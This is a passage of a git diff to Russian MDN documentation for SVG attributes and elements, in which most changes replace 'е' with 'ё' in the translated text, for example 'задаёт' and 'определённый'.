@@ -54,7 +54,7 @@ translation_of: Web/SVG/Attribute/dur <dl> <dt><code><clock-value></code></dt> - <dd>Задает длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (<code>h</code>), минутах (<code>m</code>), секундах (<code>s</code>) или миллисекундах (<code>ms</code>). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: <code>hh:mm:ss.iii</code> или <code>mm:ss.iii</code></dd> + <dd>Задаёт длину простой длительности. Значение должно быть больше 0. Это значение может быть выражено в часах (<code>h</code>), минутах (<code>m</code>), секундах (<code>s</code>) или миллисекундах (<code>ms</code>). Это позволяет объединить такое представление времени для предоставления некоторых сложных длительностей, таких как: <code>hh:mm:ss.iii</code> или <code>mm:ss.iii</code></dd> <dt><code>media</code></dt> <dd>Задаёт простую длительность, как длительность, свойственной медиа. Это валидно только для элементов, которые определяют media.</dd> <dt><code>indefinite</code></dt> @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/dur </dl> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> Интерполяция не будет работать, если простая длительность остается неопределенной (хотя это может быть полезно для элементов {{ SVGElement("set") }}).</p> +<p><strong>Примечание:</strong> Интерполяция не будет работать, если простая длительность остаётся неопределённой (хотя это может быть полезно для элементов {{ SVGElement("set") }}).</p> </div> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/svg/attribute/end/index.html b/files/ru/web/svg/attribute/end/index.html index c4db1e943f..8b0b8d3003 100644 --- a/files/ru/web/svg/attribute/end/index.html +++ b/files/ru/web/svg/attribute/end/index.html @@ -7,7 +7,7 @@ translation_of: Web/SVG/Attribute/end <p>Этот атрибут определяет конечное значение для анимации, которое может ограничить активную длительность.</p> -<p>Значение атрибута представляет собой разделенный точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определенным для {{ SVGAttr("begin") }} атрибута .</p> +<p>Значение атрибута представляет собой разделённый точками с запятой список значений. Каждое отдельное значение может совпадать с типом, определённым для {{ SVGAttr("begin") }} атрибута .</p> <h2 id="Usage_context">Usage context</h2> @@ -32,7 +32,7 @@ translation_of: Web/SVG/Attribute/end </tbody> </table> -<p>Для типов значений, разрешенных в, <code><end-value-list></code> см. {{ SVGAttr("begin") }} атрибут.</p> +<p>Для типов значений, разрешённых в, <code><end-value-list></code> см. {{ SVGAttr("begin") }} атрибут.</p> <h2 id="Examples">Examples</h2> diff --git a/files/ru/web/svg/attribute/fill-rule/index.html b/files/ru/web/svg/attribute/fill-rule/index.html index d83dad58c3..b7c3a793e0 100644 --- a/files/ru/web/svg/attribute/fill-rule/index.html +++ b/files/ru/web/svg/attribute/fill-rule/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/fill-rule <p class="note"><strong>Note:</strong> Атрибут представления, <code>fill-rule</code> может быть использован как CSS свойство.</p> -<p>Как атрибут представления, он может быть применен к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p> +<p>Как атрибут представления, он может быть применён к следующим восьми элементам:: {{SVGElement('altGlyph')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}}</p> <div id="topExample"> <div class="hidden"> diff --git a/files/ru/web/svg/attribute/font-weight/index.html b/files/ru/web/svg/attribute/font-weight/index.html index 1985975c56..27ae429e31 100644 --- a/files/ru/web/svg/attribute/font-weight/index.html +++ b/files/ru/web/svg/attribute/font-weight/index.html @@ -40,7 +40,7 @@ translation_of: Web/SVG/Attribute/font-weight <li><strong>bold</strong> - соответствует значению <strong>700 </strong>- полужирное начертание</li> <li><strong>normal</strong> - соответствует значению <strong>400 </strong>- нормальное начертание</li> <li><strong>bolder </strong>и <strong>lighter</strong> указывают браузеру использовать соответственно более жирное или более тонкое начертание в сравнении с текущим значением родительского элемента. Дочерние элементы, в свою очередь, унаследуют получившееся значение.</li> - <li><strong>inherit </strong>- дает указание браузеру унаследовать тип начертания от родительского элемента.</li> + <li><strong>inherit </strong>- даёт указание браузеру унаследовать тип начертания от родительского элемента.</li> </ul> <h2 id="Предостережения">Предостережения</h2> diff --git a/files/ru/web/svg/attribute/id/index.html b/files/ru/web/svg/attribute/id/index.html index 54590a4cd4..a8071bb93f 100644 --- a/files/ru/web/svg/attribute/id/index.html +++ b/files/ru/web/svg/attribute/id/index.html @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/id <dl> <dt><id></dt> <dd> - <p>Задает идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать никаких пробелов.</p> + <p>Задаёт идентификатор элемента. Идентификатор должен быть уникальным в пределах дерева узлов, не должен быть пустой строкой и не должен содержать никаких пробелов.</p> <div class="blockIndicator note"> <p><strong>Примечание:</strong> Следует избегать использование значений идентификатора, которые будут анализироваться как спецификация представления SVG (например, <code>MyDrawing.svg#svgView(viewBox(0,200,1000,1000))</code>) или базовый фрагмент мультимедиа при использовании в качестве целевого фрагмента URL.</p> diff --git a/files/ru/web/svg/attribute/index.html b/files/ru/web/svg/attribute/index.html index 7d05b490e8..390328c17f 100644 --- a/files/ru/web/svg/attribute/index.html +++ b/files/ru/web/svg/attribute/index.html @@ -12,7 +12,7 @@ translation_of: Web/SVG/Attribute --- <p>« <a href="/ru/docs/Web/SVG" title="ru/docs/Web/SVG">SVG</a> / <a href="/ru/docs/Web/SVG/Элемент" title="ru/docs/Web/SVG/Элемент">Справочник SVG элементов</a> »</p> -<p>Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведен список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.</p> +<p>Элементы SVG можно изменять с помощью атрибутов, которые задают подробные сведения о том, каким образом элемент должен обрабатываться или визуализироваться. Ниже приведён список всех атрибутов, доступных в SVG, а также ссылки на справочную документацию, помогающие узнать, какие элементы поддерживают их и как они работают.</p> <h2 id="SVG_Атрибуты_от_А_до_Я">SVG Атрибуты от А до Я</h2> diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html index d1db1c495f..cd7f423869 100644 --- a/files/ru/web/svg/attribute/keytimes/index.html +++ b/files/ru/web/svg/attribute/keytimes/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/keyTimes --- <p>« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p> -<p>Атрибут <code>keyTimes</code> представляет собой разделенный точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке <code>keyTimes</code> задается как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.</p> +<p>Атрибут <code>keyTimes</code> представляет собой разделённый точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке <code>keyTimes</code> задаётся как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.</p> <p>Если указан список <code>keyTimes</code>, то в списке <code>keyTimes</code> должно быть ровно столько же значений, сколько в списке {{ SVGAttr("values") }} .</p> @@ -14,8 +14,8 @@ translation_of: Web/SVG/Attribute/keyTimes <p>Семантика списка keyTimes зависит от режима интерполяции:</p> <ul> - <li>Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задается; значения являются интерполяцией между ключевыми моментами.</li> - <li>Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задается; Функция анимации использует это значение до следующего времени, определенного в <code>keyTimes</code>.</li> + <li>Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задаётся; значения являются интерполяцией между ключевыми моментами.</li> + <li>Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задаётся; Функция анимации использует это значение до следующего времени, определённого в <code>keyTimes</code>.</li> </ul> <p>Если в качестве режима интерполяции используется <em>paced</em>, атрибут <code>keyTimes </code>игнорируется.</p> diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html index 86317240f1..88fbec8090 100644 --- a/files/ru/web/svg/attribute/lang/index.html +++ b/files/ru/web/svg/attribute/lang/index.html @@ -7,11 +7,11 @@ translation_of: Web/SVG/Attribute/lang --- <div>{{SVGRef}}</div> -<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong> указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определенных элементов.</span></p> +<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong> указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определённых элементов.</span></p> -<p>Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имен). Если определены оба атрибута, то используется тот, который имеет пространство имен, а атрибут без пространства имен игнорируется.</p> +<p>Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имён). Если определены оба атрибута, то используется тот, который имеет пространство имён, а атрибут без пространства имён игнорируется.</p> -<p>В SVG 1.1 существовал атрибут <code>lang</code>, определенный с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">формате BCP 47</a>. Глиф предназначался для использования, если атрибут <code>xml:lang</code> точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут <code>xml:lang</code> точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".</p> +<p>В SVG 1.1 существовал атрибут <code>lang</code>, определённый с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">формате BCP 47</a>. Глиф предназначался для использования, если атрибут <code>xml:lang</code> точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут <code>xml:lang</code> точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".</p> <p>Все элементы используют этот атрибут.</p> @@ -43,9 +43,9 @@ translation_of: Web/SVG/Attribute/lang <dl> <dt><code><language-tag></code></dt> <dd> - <p>Это значение указывает язык, используемый для элемента. Синтаксис этого значения определен в <a href="https://tools.ietf.org/html/bcp47#section-2.1">спецификации BCP 47</a>.</p> + <p>Это значение указывает язык, используемый для элемента. Синтаксис этого значения определён в <a href="https://tools.ietf.org/html/bcp47#section-2.1">спецификации BCP 47</a>.</p> - <p>Наиболее распространенным синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделенных знаком минус. Например, <code>en-US</code> для американского английского языка или <code>de-AT</code> для австрийского немецкого.</p> + <p>Наиболее распространённым синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделённых знаком минус. Например, <code>en-US</code> для американского английского языка или <code>de-AT</code> для австрийского немецкого.</p> </dd> </dl> @@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/lang <tr> <td>{{SpecName("SVG2", "struct.html#LangAttribute", "lang")}}</td> <td>{{Spec2("SVG2")}}</td> - <td>Сделал атрибут {{SVGAttr("lang")}} (без пространства имен) доступным для всех элементов и определил взаимодействие между ними.</td> + <td>Сделал атрибут {{SVGAttr("lang")}} (без пространства имён) доступным для всех элементов и определил взаимодействие между ними.</td> </tr> <tr> <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}}</td> diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html index 5a9258a1f4..82030dbd1b 100644 --- a/files/ru/web/svg/attribute/patterncontentunits/index.html +++ b/files/ru/web/svg/attribute/patterncontentunits/index.html @@ -5,11 +5,11 @@ translation_of: Web/SVG/Attribute/patternContentUnits --- <p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p> -<p>Атрибут <code>patternContentUnits</code> определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определен на {{ SVGElement("pattern") }} элементе.</p> +<p>Атрибут <code>patternContentUnits</code> определяет систему координат для содержимого {{ SVGElement("pattern") }}. Заметьте, что этот атрибут не имеет эффекта, если {{ SVGAttr("viewBox") }} определён на {{ SVGElement("pattern") }} элементе.</p> -<p>Если <code>patternContentUnits</code> атрибут не определен, то его значение предполагается равным <code>userSpaceOnUse</code>.</p> +<p>Если <code>patternContentUnits</code> атрибут не определён, то его значение предполагается равным <code>userSpaceOnUse</code>.</p> -<p>Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаете значение <code>patternContentUnits</code> равным <code>objectBoundingBox</code>, значения, указанные в процентах, будут пересчитаны, как если бы вы задали <code>userSpaceOnUse</code>.</p> +<p>Заметьте, что значение {{ SVGElement("pattern") }} не имеет влияния на заданные в процентах атрибуты контента . Это означает, что, если вы задаёте значение <code>patternContentUnits</code> равным <code>objectBoundingBox</code>, значения, указанные в процентах, будут пересчитаны, как если бы вы задали <code>userSpaceOnUse</code>.</p> <h2 id="Контекст_использования">Контекст использования</h2> @@ -45,7 +45,7 @@ translation_of: Web/SVG/Attribute/patternContentUnits <h2 id="Элементы">Элементы</h2> -<p>Атрибут <code>patternContentUnits</code> может быть определен на следующих элементах:</p> +<p>Атрибут <code>patternContentUnits</code> может быть определён на следующих элементах:</p> <ul> <li>{{ SVGElement("pattern") }}</li> diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html index 1f92d75024..5114420ac3 100644 --- a/files/ru/web/svg/attribute/r/index.html +++ b/files/ru/web/svg/attribute/r/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/r <p>Для {{ SVGElement("radialGradient") }}, <code>r</code> устанавливает радиус конечной окружности радиального градиента.</p> -<p>Градиент будет нарисован таким образом, чтобы <strong>100%</strong> конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведет к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента {{ SVGElement("stop") }}.</p> +<p>Градиент будет нарисован таким образом, чтобы <strong>100%</strong> конца градиента отображались по периметру этого конечного круга. Значение, меньшее или равное нулю, приведёт к тому, что область будет окрашена как один цвет, используя цвет и непрозрачность последнего градиента {{ SVGElement("stop") }}.</p> <table class="standard-table"> <tbody> diff --git a/files/ru/web/svg/attribute/repeatcount/index.html b/files/ru/web/svg/attribute/repeatcount/index.html index ad584e3305..0023ba65af 100644 --- a/files/ru/web/svg/attribute/repeatcount/index.html +++ b/files/ru/web/svg/attribute/repeatcount/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Attribute/repeatCount --- <p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p> -<p>Данный атрибут задает, сколько раз должна выполняться анимация.</p> +<p>Данный атрибут задаёт, сколько раз должна выполняться анимация.</p> <p>Значение атрибута определяет количество итераций. Принимаются числа с плавающей точкой, которые интерпретируются как доля итерации. Значение должно быть больше нуля.</p> diff --git a/files/ru/web/svg/attribute/rx/index.html b/files/ru/web/svg/attribute/rx/index.html index 78f0ab86e0..c033fd34aa 100644 --- a/files/ru/web/svg/attribute/rx/index.html +++ b/files/ru/web/svg/attribute/rx/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/rx <p>Способ интерпретации значения атрибута <code>rx</code> зависит как от атрибута {{SVGAttr("ry")}} , так и от ширины прямоугольника:</p> <ul> - <li>Если правильно задано значение для <code>rx</code>, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li> + <li>Если правильно задано значение для <code>rx</code>, но не для {{SVGAttr("ry")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.</li> <li>Если ни <code>rx</code>, ни {{SVGAttr("ry")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li> <li>Если <code>rx</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>rx</code> половиной ширины прямоугольника.</li> </ul> diff --git a/files/ru/web/svg/attribute/ry/index.html b/files/ru/web/svg/attribute/ry/index.html index f0b87c7a46..9267facd7f 100644 --- a/files/ru/web/svg/attribute/ry/index.html +++ b/files/ru/web/svg/attribute/ry/index.html @@ -59,7 +59,7 @@ translation_of: Web/SVG/Attribute/ry <p>Способ интерпретации значения атрибута <code>ry</code> зависит как от атрибута {{SVGAttr("rx")}} , так и от ширины прямоугольника:</p> <ul> - <li>Если правильно задано значение для <code>ry</code>, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтет отсутствующее значение равным указанному.</li> + <li>Если правильно задано значение для <code>ry</code>, но не для {{SVGAttr("rx")}} (или наоборот), то браузер сочтёт отсутствующее значение равным указанному.</li> <li>Если ни <code>ry</code>, ни {{SVGAttr("rx")}} не имеют правильно указанного значения, браузер нарисует прямоугольник с квадратными углами.</li> <li>Если <code>ry</code> больше половины ширины прямоугольника, то браузер будет считать значение <code>ry</code> половиной ширины прямоугольника.</li> </ul> diff --git a/files/ru/web/svg/attribute/shape-rendering/index.html b/files/ru/web/svg/attribute/shape-rendering/index.html index 9110b8ce42..d5b03117ab 100644 --- a/files/ru/web/svg/attribute/shape-rendering/index.html +++ b/files/ru/web/svg/attribute/shape-rendering/index.html @@ -32,13 +32,13 @@ translation_of: Web/SVG/Attribute/shape-rendering <dl> <dt>auto</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> <span class="hps">внести соответствующие</span> <span class="hps">компромиссы</span><span>, чтобы сбалансировать</span> <span class="hps">скорость рендеринга,</span> <span class="hps">четкие края</span> <span class="hps">и</span> <span class="hps">геометрическую</span> <span class="hps">точность</span><span>, но </span><span class="hps">геометрической точности</span> <span class="hps">уделять более пристальное внимание</span><span>, чем</span> <span class="hps">скорости и</span> <span class="hps">четким краями</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> <span class="hps">внести соответствующие</span> <span class="hps">компромиссы</span><span>, чтобы сбалансировать</span> <span class="hps">скорость рендеринга,</span> <span class="hps">чёткие края</span> <span class="hps">и</span> <span class="hps">геометрическую</span> <span class="hps">точность</span><span>, но </span><span class="hps">геометрической точности</span> <span class="hps">уделять более пристальное внимание</span><span>, чем</span> <span class="hps">скорости и</span> <span class="hps">чётким краями</span><span>.</span></span></dd> <dt>optimizeSpeed</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен</span> акцентироваться на <span class="hps">скорость рендеринга, в ущерб</span> <span class="hps">геометрической</span> <span class="hps">точности и</span> <span class="hps">четким краями</span><span>.</span> <span class="hps">Эту опцию</span> также можно<span class="hps"> указывать,</span><span>, чтобы отключить</span> <span class="hps">сглаживание фигур</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен</span> акцентироваться на <span class="hps">скорость рендеринга, в ущерб</span> <span class="hps">геометрической</span> <span class="hps">точности и</span> <span class="hps">чётким краями</span><span>.</span> <span class="hps">Эту опцию</span> также можно<span class="hps"> указывать,</span><span>, чтобы отключить</span> <span class="hps">сглаживание фигур</span><span>.</span></span></dd> <dt>crispEdges</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен попытаться</span> акцентировать <span class="hps">на контрасте</span> <span class="hps">чистых</span> <span class="hps">краев</span> рисунков, в ущерб<span class="hps"> скорости</span> <span class="hps">рендеринга</span> <span class="hps">и геометрической</span> <span class="hps">точности.</span> <span class="hps">Для достижения</span> наилучшего результата четкости<span class="hps"> края</span><span>, браузер</span><span class="hps"> может</span> <span class="hps">отключить</span> <span class="hps">сглаживание для</span> <span class="hps">всех</span> <span class="hps">линий и кривых</span> <span class="hps">или, возможно,</span> <span class="hps">только для</span> <span class="hps">прямых</span><span>, близких к</span> <span class="hps">вертикальным или горизонтальным.</span> <span class="hps">Кроме того,</span> <span class="hps">браузер может</span> <span class="hps">скорректировать позиции</span> <span class="hps">строк и</span> <span class="hps">ширину линий</span> <span class="hps">для выравнивания</span> <span class="hps">краев</span> <span class="hps">с</span> <span class="hps">пикселями устройства</span><span>.</span></span></dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> браузер <span class="hps">должен попытаться</span> акцентировать <span class="hps">на контрасте</span> <span class="hps">чистых</span> <span class="hps">краёв</span> рисунков, в ущерб<span class="hps"> скорости</span> <span class="hps">рендеринга</span> <span class="hps">и геометрической</span> <span class="hps">точности.</span> <span class="hps">Для достижения</span> наилучшего результата чёткости<span class="hps"> края</span><span>, браузер</span><span class="hps"> может</span> <span class="hps">отключить</span> <span class="hps">сглаживание для</span> <span class="hps">всех</span> <span class="hps">линий и кривых</span> <span class="hps">или, возможно,</span> <span class="hps">только для</span> <span class="hps">прямых</span><span>, близких к</span> <span class="hps">вертикальным или горизонтальным.</span> <span class="hps">Кроме того,</span> <span class="hps">браузер может</span> <span class="hps">скорректировать позиции</span> <span class="hps">строк и</span> <span class="hps">ширину линий</span> <span class="hps">для выравнивания</span> <span class="hps">краёв</span> <span class="hps">с</span> <span class="hps">пикселями устройства</span><span>.</span></span></dd> <dt>geometricPrecision</dt> - <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> акцентировать <span class="hps">геометрическую</span> <span class="hps">точность в ущерб</span> <span class="hps">скорости и</span> <span class="hps">четкими краям</span></span>.</dd> + <dd><span id="result_box" lang="ru"><span class="hps">Указывает на то, что</span> <span class="hps">браузер</span> <span class="hps">должен</span> акцентировать <span class="hps">геометрическую</span> <span class="hps">точность в ущерб</span> <span class="hps">скорости и</span> <span class="hps">чёткими краям</span></span>.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/stroke/index.html b/files/ru/web/svg/attribute/stroke/index.html index d6ddd0420a..29332e0327 100644 --- a/files/ru/web/svg/attribute/stroke/index.html +++ b/files/ru/web/svg/attribute/stroke/index.html @@ -39,7 +39,7 @@ translation_of: Web/SVG/Attribute/stroke <h3 id="SVG_Line" name="SVG_Line">SVG Line с stroke</h3> -<h4 id="Пример_1_Нарисуйте_прямую_зеленую_линию_используя_stroke.">Пример 1: Нарисуйте прямую зеленую линию, используя <strong>stroke</strong>.</h4> +<h4 id="Пример_1_Нарисуйте_прямую_зелёную_линию_используя_stroke.">Пример 1: Нарисуйте прямую зелёную линию, используя <strong>stroke</strong>.</h4> <pre class="brush: html"><svg height="50" width="300"> <path stroke="green" d="M5 20 1215 0" /> @@ -47,7 +47,7 @@ translation_of: Web/SVG/Attribute/stroke <p>{{EmbedLiveSample('Example1_Draw_straight_green_line_using_stroke.', '300', '50', '', 'Web/SVG/Attribute/stroke')}}</p> -<h4 id="Пример_2_Нарисуйте_черный_круг_с_синей_рамкой_используя_stroke.">Пример 2: Нарисуйте черный круг с синей рамкой используя stroke.</h4> +<h4 id="Пример_2_Нарисуйте_чёрный_круг_с_синей_рамкой_используя_stroke.">Пример 2: Нарисуйте чёрный круг с синей рамкой используя stroke.</h4> <pre class="brush: html"><svg height="100" width="100"> <circle cx="50" cy="50" r="40" stroke="blue" stroke-width="2" fill="black" /> diff --git a/files/ru/web/svg/attribute/text-anchor/index.html b/files/ru/web/svg/attribute/text-anchor/index.html index 9ffcbe7be3..d974c6e812 100644 --- a/files/ru/web/svg/attribute/text-anchor/index.html +++ b/files/ru/web/svg/attribute/text-anchor/index.html @@ -51,7 +51,7 @@ translation_of: Web/SVG/Attribute/text-anchor правому выравниванию. Для шрифтов которые по определению справа налево такие как Иврит и Арабский это эквивалентно левому выравниванию.</dd> <dt>Примечание</dt> <dd>В <strong>IE</strong>-11 атрибут <code><strong>text-anchor</strong></code> не имеет эффекта при привязке текста к заданному пути <strong><code>path</code></strong> посредством тега <code><strong>textPath</strong></code>.<br> - В приведенном ниже примере тег <strong><code>path</code></strong> использовался только лишь для отрисовки линий и с расположением текста никак не связан.</dd> + В приведённом ниже примере тег <strong><code>path</code></strong> использовался только лишь для отрисовки линий и с расположением текста никак не связан.</dd> </dl> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html index c202361239..944d0b51b0 100644 --- a/files/ru/web/svg/attribute/transform/index.html +++ b/files/ru/web/svg/attribute/transform/index.html @@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/transform <!-- Это элемент до применения переноса и поворота --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> </strong>fill-opacity=0.2 stroke-opacity=0.2></rect> - <!-- Здесь мы добавим текстовый элемент, повернем и перенесем оба элемента --> + <!-- Здесь мы добавим текстовый элемент, повернём и перенесём оба элемента --> <rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> transform="translate(30) rotate(45 50 50)"</strong>></rect> <text x="60" y="105" <strong>transform="translate(30) rotate(45 50 50)"</strong>> Hello Moz! </text> diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html index 72929084aa..d0544c82b8 100644 --- a/files/ru/web/svg/attribute/values/index.html +++ b/files/ru/web/svg/attribute/values/index.html @@ -7,12 +7,12 @@ translation_of: Web/SVG/Attribute/values <p>Атрибут <code>values</code> имеет два значения в зависимости от используемого контекста.</p> -<p>Для элементов анимации атрибут <code>values</code> представляет собой разделенный точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список <code>values</code>, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.</p> +<p>Для элементов анимации атрибут <code>values</code> представляет собой разделённый точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список <code>values</code>, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.</p> <p>Для элемента {{ SVGElement("feColorMatrix") }} содержимое <code>values</code> зависит от значения атрибута {{ SVGAttr("type") }}:</p> <ul> - <li>Для <code>type="matrix"</code>, <code>values</code> — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделенных пробелами и/или запятой.</li> + <li>Для <code>type="matrix"</code>, <code>values</code> — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделённых пробелами и/или запятой.</li> <li>Для <code>type="saturate"</code>, <code>values</code> — это единственное вещественное число (от 0 до 1).</li> <li>Для <code>type="hueRotate"</code>, <code>values</code> — это одно вещественное число (градусов).</li> <li>Для <code>type="luminanceToAlpha"</code>, <code>values</code> не применимы.</li> diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html index 1433367c9d..a3ad81efdb 100644 --- a/files/ru/web/svg/attribute/viewbox/index.html +++ b/files/ru/web/svg/attribute/viewbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/viewBox <p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Аттрибут </span></font>viewBox</code> определяет расположение и размеры окна отображения SVG.</p> -<p>Значение атрибута <code>viewBox</code> — это набор четырех чисел: <code>min-x</code>, <code>min-y</code>, <code>width</code> и <code>height</code>, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">браузера</a>).</p> +<p>Значение атрибута <code>viewBox</code> — это набор четырёх чисел: <code>min-x</code>, <code>min-y</code>, <code>width</code> и <code>height</code>, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">браузера</a>).</p> <div class="hidden"> <pre class="notranslate">html, body, svg { diff --git a/files/ru/web/svg/element/animate/index.html b/files/ru/web/svg/element/animate/index.html index 834677e633..0e6bda67b7 100644 --- a/files/ru/web/svg/element/animate/index.html +++ b/files/ru/web/svg/element/animate/index.html @@ -11,7 +11,7 @@ original_slug: Web/SVG/Элемент/animate --- <div>{{SVGRef}}</div> -<p> Тег <animate> может быть помещен внутри какой-то фигуры, например, <circle> . Он задает анимацию атрибута фигуры. Указанный атрибут будет изменяться со стартового значения и до конечного значения с определенным интервалом.</p> +<p> Тег <animate> может быть помещён внутри какой-то фигуры, например, <circle> . Он задаёт анимацию атрибута фигуры. Указанный атрибут будет изменяться со стартового значения и до конечного значения с определённым интервалом.</p> <h2 id="Использование">Использование</h2> diff --git a/files/ru/web/svg/element/animatemotion/index.html b/files/ru/web/svg/element/animatemotion/index.html index 